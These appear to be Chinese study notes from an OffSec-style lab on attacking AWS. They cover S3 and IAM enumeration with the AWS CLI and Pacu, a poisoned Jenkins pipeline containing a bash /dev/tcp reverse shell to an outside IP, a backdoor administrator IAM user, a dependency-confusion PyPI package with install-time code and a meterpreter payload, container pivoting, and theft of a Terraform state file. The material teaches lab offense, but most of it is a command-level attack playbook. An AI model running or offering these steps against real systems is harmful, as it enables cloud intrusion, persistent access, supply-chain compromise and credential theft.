AWS云设施攻击

AWS云设施攻击

云设施攻击

列举AWS云基础设施

互联网上云资源的侦擦

域和子域侦察
# 查询域的名称服务器记录。
host -t ns offseclab.io
# 获取一个域名的注册信息
whois awsdns-00.com | grep "Registrant Organization"
# 获取域名的公网IP地址
host www.offseclab.io
# 获取详细公网IP地址信息
host 52.70.117.69
whois 52.70.117.69 | grep "OrgName"
# 使用dnsenum 自动化 offseclab.io 域名的 DNS 侦察
dnsenum offseclab.io --threads 100
服务特定域名
# 列举存储桶
## 存储桶的基本格式
offseclab-assets-public-axevtewi/sites/www/images/amethyst.png
其中offseclab-assets-public-axevtewi是桶名
sites/www/images/amethyst.png是对象键
1、移除对象键只保留桶名
如http://domain/bucket_name
观察是否收到访问被拒绝(正常情况)如果不是则可能存在信息泄露
2、替换桶名中的关键字
如offseclab-assets-public-axevtewi替换public为private变成offseclab-assets-private-axevtewi查看返回xml文件中是否有Access Denied字样(桶存在但无权限)

# 通过cloud-enum自动枚举存储桶
cloud_enum -k offseclab-assets-public-axevtewi --quickscan --disable-azure --disable-gcp
-k offseclab-assets-public-axevtewi:这个参数通常用来指定一个关键字或标识符。
--quickscan:这个参数启用快速扫描模式。快速扫描一般会执行轻量级的检查而不是全面的深入扫描,适合于快速获得信息或在时间有限的情况下使用。
--disable-azure:这个参数用来禁用对 Microsoft Azure 平台的扫描。也就是说,在本次扫描中,cloud_enum 将不会检查和收集与 Azure 云服务相关的数据。
--disable-gcp:类似于上面的参数,这个参数用于禁用对 Google Cloud Platform(GCP)的扫描。因此,整个命令的执行也不会涉及与 GCP 相关的资源和服务。

# 利用shell脚本创建用于搜索S3存储桶的关键词字典
for key in "public" "private" "dev" "prod" "development" "production"; do echo "offseclab-assets-$key-axevtewi"; done | tee /tmp/keyfile.txt
# cloud---enum利用上一步生成的关键词字典进行扫描
cloud_enum -kf /tmp/keyfile.txt -qs --disable-azure --disable-gcp

PS:只用存储桶名称访问显示Access Denied时不代表加上对象键依旧不能访问可以尝试去枚举对象键

通过云服务提供商的api进行侦察

AWS CLI使用云服务认证
# IAM是什么
管理用户及其在 AWS 云环境中的权限的服务被称为身份和访问管理。我们将此服务称为 IAM,将用户称为 IAM 用户
# 配置配置文件
aws configure --profile attacker
PS: output可以填写json如下所示
Default output format []: json
# 验证和aws进行通信
aws --profile attacker sts get-caller-identity
公共共享资源
部分公共可访问的镜像快照等可能存在敏感信息
# 利用aws cli列出所有虚拟机镜像(AMI)
aws --profile attacker ec2 describe-images --owners amazon --executable-users all
--owners amazon # 仅显示AWS提供的AMI
--executable-users all # 列出所有公共AMI

# 进行关键词过滤(--filters参数,Name是属性,Values是值)
## 使用关键字"description"过滤列表后列出所有公共 AMIs
aws --profile attacker ec2 describe-images --executable-users all --filters "Name=description,Values=*Offseclab*"
## 使用关键字"name"过滤列表后列出所有公共 AMIs
aws --profile attacker ec2 describe-images --executable-users all --filters "Name=name,Values=*Offseclab*"
## 使用关键词 "description" 过滤列表后列出公共快照
aws --profile attacker ec2 describe-snapshots --filters "Name=description,Values=*offseclab*"

PS:可以通过以下几个属性进行枚举,但枚举本身需要具体问题具体分析,没有金科玉律
description, name

# 根据用户ID进行枚举(查看对应ID可产看的资源--owner-id参数)
aws --profile attacker ec2 describe-snapshots --owner-id 277765338491 --filters "Name=volume-size,Values=1"
PS: owner-id可以用如下命令获取
aws --profile attacker sts get-caller-identity(查看其中的Account属性)
从S3存储桶获取账户ID
# 利用aws创建一个新用户
aws --profile attacker iam create-user --user-name enum
aws --profile attacker iam create-access-key --user-name enum
# 列出存储桶对象
aws --profile enum s3 ls offseclab-assets-private-kaykoour
# 创建一个策略文件
cat -n policy-s3-read.json 
{
     "Version": "2012-10-17",
     "Statement": [{
          "Sid": "AllowResourceAccount",
          "Effect": "Allow",
          "Action": [
               "s3:ListBucket",
               "s3:GetObject"
          ],
          "Resource": "*",
          "Condition": {
          "StringLike": {"s3:ResourceAccount": ["0*"]}
          }
     }]
}
PS: 特殊注意"StringLike": {"s3:ResourceAccount": ["0*"]}标识其用户ID必须以0开头才能访问存储桶

# 不断改变规则的值直到存储桶可以访问
aws --profile enum s3 ls offseclab-assets-private-kaykoour # 尝试列出存储桶
nano policy-s3-read.json # 编辑规则文件(比如0*换成1*)
aws --profile attacker iam put-user-policy \
--user-name enum \
--policy-name s3-read \
--policy-document file://policy-s3-read.json (应用规则)
aws --profile enum s3 ls offseclab-assets-private-kaykoour(再次尝试列出)
PS:规则生效需要10-15秒时间,每次测试最好间隔20s以上
在其他账户中枚举IAM账户
利用pacu从其他账户中枚举IAM账户
# 以交互模式启动pacu
pacu
# 随便输入一个会话名称
# 从AWS CLI快速导入可用密钥
import_keys attacker
# 在 pacu 中列出模块
ls
# 显示pacu中模块的帮助信息
help iam__enum_roles
# 运行模块(示例为enum_roles模块)
run iam__enum_roles --word-list /tmp/role-names.txt --account-id 123456789012
PS: 其中account-id可以用如下命令获取,也可以用之前的s3存储桶列出账户ID的方法
aws --profile attacker sts get-caller-identity(查看其中的Account属性)

# 通过环境变量设置角色并进行枚举
export AWS_ACCESS_KEY_ID= 
export AWS_SECRET_ACCESS_KEY=
export AWS_SESSION_TOKEN=
aws ec2 describe-vpcs --region us-east-1 # 进行枚举

初始IAM侦察

检查受损害的凭证
# 使用已经沦陷的IAM用户
aws configure --profile target
其中Default region name 和 Default output format可以留空或者可以填写(us-east-1/json)
# 确认账号是否有效
aws --profile target sts get-caller-identity(缺点是不够隐秘,其日志可能被防守者侦察到)
aws --profile challenge sts get-access-key-info --access-key-id AKIAQOMAIGYUVEHJ7WXM(比较隐秘,其日志只会存留在攻击者账户中)
PS:--access-key-id就是AWS Secret Access Key
# 利用调用函数来确认用户信息(比较隐秘)
aws --profile target lambda invoke --function-name arn:aws:lambda:us-east-1:123456789012:function:nonexistent-function outfile
--function-name 指定函数名称
outfile 是输出文件的名称
检查IAM权限
所有云服务提供商都实施某种形式的身份验证和授权机制,以确保用户只能在指定的权限内与提供商的 API 进行交互,不能代表其他用户或账户进行操作。所有这些机制通常被统称为身份和访问管理(IAM)

# 列出IAM用户的内联策略
aws --profile target iam list-user-policies --user-name clouddesk-plove
# 列出IAM用户的管理策略
aws --profile target iam list-attached-user-policies --user-name clouddesk-plove

# 列出用户所属的组
aws --profile target iam list-groups-for-user --user-name clouddesk-plove
# 列出与 IAM 组关联的内置和管理策略
aws --profile target iam list-group-policies --group-name support
aws --profile target iam list-attached-group-policies --group-name support

# 列出粗恶略版本(arn字符串由上一步操作得到)
aws --profile target iam list-policy-versions --policy-arn "arn:aws:iam::aws:policy/job-function/SupportUser"

# 根据版本列出策略定义
aws --profile target iam get-policy-version --policy-arn arn:aws:iam::aws:policy/job-function/SupportUser --version-id v8

PS:group-name/user-name可以运行以下命令获得
aws --profile target sts get-caller-identity
如"Arn": "arn:aws:iam::123456789012:user/support/clouddesk-plove"中的clouddesk-plove是用户名support是组名

IAM资源枚举

枚举IAM资源
# 获取与 SupportUser 策略相关的 IAM 服务权限
aws --profile target iam get-policy-version --policy-arn arn:aws:iam::aws:policy/job-function/SupportUser --version-id v8 | grep "iam"
# 根据服务权限查看可运行的CLI命令
aws --profile target iam help | grep -E "list-|get-|generate-"
# 获取 IAM 账户信息概要
aws --profile target iam get-account-summary | tee account-summary.json
# 列出用户的用户身份/组身份和应用规则
aws --profile target iam list-users | tee  users.json
aws --profile target iam list-groups | tee groups.json
aws --profile target iam list-roles | tee roles.json
# 列出所有受管理的策略
aws --profile target iam list-policies --scope Local --only-attached | tee policies.json
# 运行以下子命令可以获取凭证关联的每个身份的内置策略
list-user-policies
get-user-policy
list-group-policies
get-group-policy
list-role-policies
get-role-policy
# 运行以下子命令检查所有受管理的策略
list-attached-user-policies
list-attached-group-policies
list-attached-role-policies
# 运行以下子命令读取找到的每个管理策略的政策文档
get-policy-version

PS:也可以通过运行 iam get-account-authorization-details 子命令来采用更简单的方法检索有关 AWS 账户中所有 IAM 用户、组、角色和策略的信息,包括它们之间的关系
如
aws --profile target iam get-account-authorization-details --filter User Group LocalManagedPolicy Role | tee account-authorization-details.json
但这需要账户的GetAccountAuthorizationDetails权限
使用JMESPath处理API响应
aws --profile target iam get-account-authorization-details --filter User --query "UserDetailList[].UserName"
PS: 其中--query "UserDetailList[].UserName"表示
从以下json数据中筛选UserName
{
    "UserDetailList": [{
            "Path": "/admin/",
            "UserName": "admin-alice",
            "UserId": "AIDAQOMAIGYUSSOCFCREC"
    }]
}
# 使用表达式筛选多个键名
--query "UserDetailList[0].[UserName,Path,GroupList]"
# 使用表达式在筛选时同时显示键名
--query "UserDetailList[0].{Name: UserName,Path: Path,Groups: GroupList}"
# 过滤包含 admin 名称的所有 IAM 用户
--query "UserDetailList[?contains(UserName, 'admin')].{Name: UserName}"
# 组合多个查询条件
--query "{Users: UserDetailList[?Path=='/admin/'].UserName, Groups: GroupDetailList[?Path=='/admin/'].{Name: GroupName}}"
使用Pacu运行自动枚举
# 以交互模式启动pacu
pacu
# 随便输入一个会话名称
# 从AWS CLI快速导入可用密钥
import_keys attacker
# 在 pacu 中列出模块
ls
# 显示pacu中模块的帮助信息
help iam__enum_roles
# 运行iam__enum_users_roles_policies_groups模块
返回与 IAM 身份和策略相关的所有信息
run iam__enum_users_roles_policies_groups
命令默认进行存储需要运行下面两个命令进行查看
services # 查看现有服务
data IAM # 查看存储的数据
从枚举数据中提取见解
留意包含admin的用户和组
留意AWS资源的自定义属性标签。管理员经常使用标签来授权访问和操作
留意*通配符这可能过于宽松
注意策略继承
好用的工具
Cloudmapper:提供了 AWS 配置的可视化表示,有助于识别潜在问题
Awspx:有助于分析 IAM 资源之间的相互关联

# 获取用户详情
aws --profile target iam get-account-authorization-details --filter User Group --query "UserDetailList[?UserName=='admin-alice']"
# 获取用户所属组信息
aws --profile target iam get-account-authorization-details --filter User Group --query "GroupDetailList[?GroupName=='admin']"
# 获取组策略
aws --profile target iam get-account-authorization-details --filter LocalManagedPolicy --query "Policies[?PolicyName=='amethyst_admin']"

攻击AWS云基础设施

列表枚举CI/CD系统

# 使用msf枚举Jenkins系统
use auxiliary/scanner/http/jenkins_enum
set RHOSTS automation.offseclab.io
set TARGETURI /
run
# 对于github或gitlab可以通过漏洞或公开可访问的代码访问其敏感信息
# 列举应用程序
网页,小程序,app中可能存在云资源访问的凭证

发现秘密

#查看存储桶文件
##利用凭证列出存储桶(凭证不一定是受害者的)
aws s3 ls staticcontent-lgudbhv8syu2tgbk
## 存储桶文件操作(下载存储桶文件)
aws s3 cp s3://staticcontent-lgudbhv8syu2tgbk/README.md ./
## 下载整个存储桶
aws s3 sync s3://staticcontent-lgudbhv8syu2tgbk ./static_content/
# 查看git文件
## 利用gitleaks进行审查(必须在根目录下)
gitleaks detect
## 查看git日志
git log
## 审查git差异
git show 64382765366943dd1270e945b0b23dbed3024340

毒化管道

在自动发布的软件中(如gitlab)存在更改源代码可导致其直接发布到生产环境的情况
1、在git仓库中寻找Jenkinsfile文件(其中可能描述了管道的明确定义,如pipeline{...描述内容})
2、查看webhooks
查看系统会在什么情况下触发自动操作

# 修改管道
pipeline {
  agent any
  stages {
    stage('Send Reverse Shell') {
      steps {
        withAWS(region: 'us-east-1', credentials: 'aws_key') {
          script {
            if (isUnix()) {
              sh 'bash -c "bash -i >& /dev/tcp/192.88.99.76/4242 0>&1" & '
            }
          }
        }
      }
    }
  }
}
PS: 此管道利用Jenkinsfile语言和部分gitlab插件完成反向shell

# 枚举构建器
## 枚举操作系统和内核信息
uname -a && cat /etc/os-release
## 枚举当前户目录
ls
## 枚举用户目录
ls -a ~
## 枚举用户ssh目录
ls -a .ssh
## 枚举网络配置
ipconfig
ip a
## 查看挂载
cat /proc/mounts
cat /proc/mounts | grep docker
PS:如果有docker其很大概率是在docker容器中运行
## 检查容器功能
cat /proc/1/status | grep Cap
## 解码容器功能的编码
capsh --decode=0000003fffffffff
## 审查其权限
可见其存在 cap_net_admin 和 cap_sys_admin 表明该容器要么在特权上下文中运行,要么至少添加了所有能力这有可能导致容器逃逸漏洞
## 审查其环境变量
明该容器要么在特权上下文中运行,要么至少添加了所有能力

通过后门账户破坏环境(权限维持)

# 发现找到的凭证所拥有的访问权限
## 利用已掌握的凭证进行登录
aws configure --profile=CompromisedJenkins
## 获取用户名
aws --profile CompromisedJenkins sts get-caller-identity
## 获取用户的 内联策略/用户附加管理策略/组策略
aws --profile CompromisedJenkins iam list-user-policies --user-name jenkins-admin
aws --profile CompromisedJenkins iam list-attached-user-policies --user-name jenkins-admin
aws --profile CompromisedJenkins iam list-groups-for-user --user-name jenkins-admin
## 获取策略详细信息
aws --profile CompromisedJenkins iam get-user-policy --user-name jenkins-admin --policy-name jenkins-admin-role
如果见到如下所示则代表其具有完整的管理员权限
{
    "Sid": "",
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
}

# 创建后门用户账户
## 创建用户
aws --profile CompromisedJenkins iam create-user --user-name backdoor
## 附加管理员策略
aws --profile CompromisedJenkins iam attach-user-policy  --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
## 为用户分派凭据
aws --profile CompromisedJenkins iam create-access-key --user-name backdoor
## 利用新创建的用户进行的登录
aws configure --profile=backdoor
aws --profile backdoor iam list-attached-user-policies --user-name backdoor

依赖链滥用

信息收集
通过开放论坛,github源码等信息获取python等具有包管理工具的编程语言中的可攻击信息
通常表示为在引入模块时(import xxx)xxx不在公共存储库而在本地存储库中
但按照pip的安装逻辑其会优先安装公共存储库和本地存储库中可安装的最高版本,所以我们可以提交公共存储库文件欺诈用户安装攻击者创建的软件包
依赖链攻击
依赖链攻击背后的主要思想是,包管理器,如 Python 包索引(PyPI)用于 Python 和 Node 包管理器(NPM)用于 JavaScript,在安装时会优先考虑某些存储库或包的版本。例如,官方公共存储库或包的新版本可能会被优先考虑,而高于自定义存储库。然而,公共存储库通常允许任何用户发布带有任何版本号的自定义存储库,只要包名尚未被使用。

这意味着如果应用程序需要从自定义内部仓库中获取特定软件包,攻击者可能会上传一个带有更高版本号的恶意软件包到公共仓库。然后包管理器可能会优先考虑恶意软件包而不是官方内部软件包。

# 创建python包
## python包结构(hackshort-util为包名)
└── hackshort-util
    ├── setup.py
    └── hackshort_util
        └── __init__.py
PS:setup.py需包含以下内容,init.py是个空文件
from setuptools import setup, find_packages
setup(
    name='hackshort-util',
    version='1.1.4',
    packages=find_packages(),
    classifiers=[],
    install_requires=[],
    tests_require=[],
)
# 运行新创建的软件包
python3 ./setup.py sdist
PS: 实际的包被保存在 dist 文件夹中
# 尝试在本地安装包以检查包是否可用
pip install ./dist/hackshort-util-1.1.4.tar.gz
python3
import hackshort_util
print(hackshort_util)
PS: 确保其目录不是步骤一中创建的目录,要不然将采用本地目录而不是新安装的

# 安装过程中执行命令
如下方式编辑setup.py文件将会在
from setuptools import setup, find_packages
from setuptools.command.install import install
class Installer(install): #自定义类其中代码会在安装时执行standardFunction函数
    def run(self):
        install.run(self)
        with open('/tmp/running_during_install', 'w') as f:
            f.write('This code was executed when the package was installed')
setup(
    name='hackshort-util',
    version='1.1.4',
    packages=find_packages(),
    classifiers=[],
    install_requires=[],
    tests_require=[],
    cmdclass={'install': Installer} # 指定运行的类
)
# 运行时命令执行
根据信息收集时发现的用户源代码,其从包中引入utils文件所以创建该文件进行攻击
import time
import sys
def standardFunction():
        pass
def __getattr__(name):
        pass
        return standardFunction
def catch_exception(exc_type, exc_value, tb):
    while True:
        time.sleep(1000)
sys.excepthook = catch_exception
# 在此处添加poc
# 生成有效载荷并配置监听
## 生辰有效载荷
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.88.99.76 LPORT=4488
## 配置监听
sudo msfdb init
msfconsole
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4488
set ExitOnSession false
run -jz

# 发布恶意软件包
## 配置 ~/.pypirc 文件以添加服务器 URL 和登录凭证
cat ~/.pypirc
[distutils]
index-servers =
offseclab

[offseclab]
repository: http://pypi.offseclab.io/
username: student
password: password
PS: 在这里模拟了一个仓库offseclab实际攻击中要上传到官网
##上传软件包到模拟的offseclab仓库
python3 setup.py sdist upload -r offseclab
环境妥协
# 列举生产容器
## 检查网络接口
ifconfig
##检查用户和当前目录
whoami && ls -alh
## 列出挂载点(此操作可以帮忙查看是否在docker中运行)
mount 
mount | grep docker
## 列出环境变量
printenv

# 容器内进行网络扫描
## 快速创建个python脚本进行网络安全扫描
import socket
import ipaddress
import sys
def port_scan(ip_range, ports):
    for ip in ip_range:
        print(f"Scanning {ip}")
        for port in ports:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(.2)
            result = sock.connect_ex((str(ip), port))
            if result == 0:
                print(f"Port {port} is open on {ip}")
            sock.close()
ip_range = ipaddress.IPv4Network(sys.argv[1], strict=False)
ports = [80, 443, 8080]  # List of ports to scan
port_scan(ip_range, ports)
## 将python脚本进行上传
scp/ msf的upload 或者直接粘贴都可以
## 执行python脚本
python /netscan.py 172.30.0.1/24

# 在msf中创建隧道
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
run -j
指定session可达网段
route add 172.30.0.1 255.255.0.0 2(2为session id)

# 利用ssh创建远程端口转发
ssh -fN -L localhost:1080:localhost:1080 kali@192.88.99.76
ss -tulpn

# 攻击内网环境
如利用Jenkins漏洞攻击获取aws密钥

# 使用发现的凭据枚举
## 登录aws用户
aws configure --profile=stolen-s3
aws --profile=stolen-s3 sts get-caller-identity
## 列出配置用户附加的用户策略
aws --profile=stolen-s3 iam list-user-policies --user-name s3_explorer
## 列出s3存储桶
aws --profile=stolen-s3 s3 ls company-directory-9b58rezp3vvkf90f
## 列出所有存储桶
aws --profile=stolen-s3 s3api list-buckets
## 列出 Terraform 状态存储桶
aws --profile=stolen-s3 s3 ls tf-state-9b58rezp3vvkf90f
PS:Terraform 状态通常指的是用于存储当前配置(包括潜在的秘密)的文件
## 将 Terraform 状态文件复制到我们的本地 Kali 实例
aws --profile=stolen-s3 s3 cp s3://tf-state-9b58rezp3vvkf90f/terraform.tfstate ./
##阅读download下来的文件其中可能包含管理员的登录凭证如此便可以成为系统管理员
相关推荐
楠目37 分钟前
防火墙综合练习2
安全
网络安全Jack1 小时前
网络安全 理清 安全 边界
安全·web安全
星鬼1232 小时前
网络安全-防御 第一次作业(由于防火墙只成功启动了一次未补截图)
安全·web安全
战神/calmness2 小时前
DeepSeek影响网络安全行业?
人工智能·安全·信息安全
ZTLJQ2 小时前
黑客实战教程-SQL注入攻击与跨站脚本(XSS)攻击
网络·安全·网络安全·网络攻击模型
在云上(oncloudai)4 小时前
15 大 AWS 服务
云计算·aws
佛州小李哥5 小时前
亚马逊云科技Bedrock知识库自定义语义搜索配置教程
人工智能·科技·ai·语言模型·aws·知识库·亚马逊云科技
佛州小李哥6 小时前
在亚马逊云科技上云原生部署DeepSeek-R1模型(下)
人工智能·ai·语言模型·云计算·aws·亚马逊云科技·deepseek
AWS官方合作商7 小时前
AWS vs Azure vs 阿里云:出海企业全球扩张的技术选型指南(2024深度对比)
阿里云·云计算·aws
@HNUSTer8 小时前
基于 GEE Landsat 与 Sentinel 数据的归一化水体指数 NDWI 计算和水体提取
云计算·数据集·遥感大数据·gee·云平台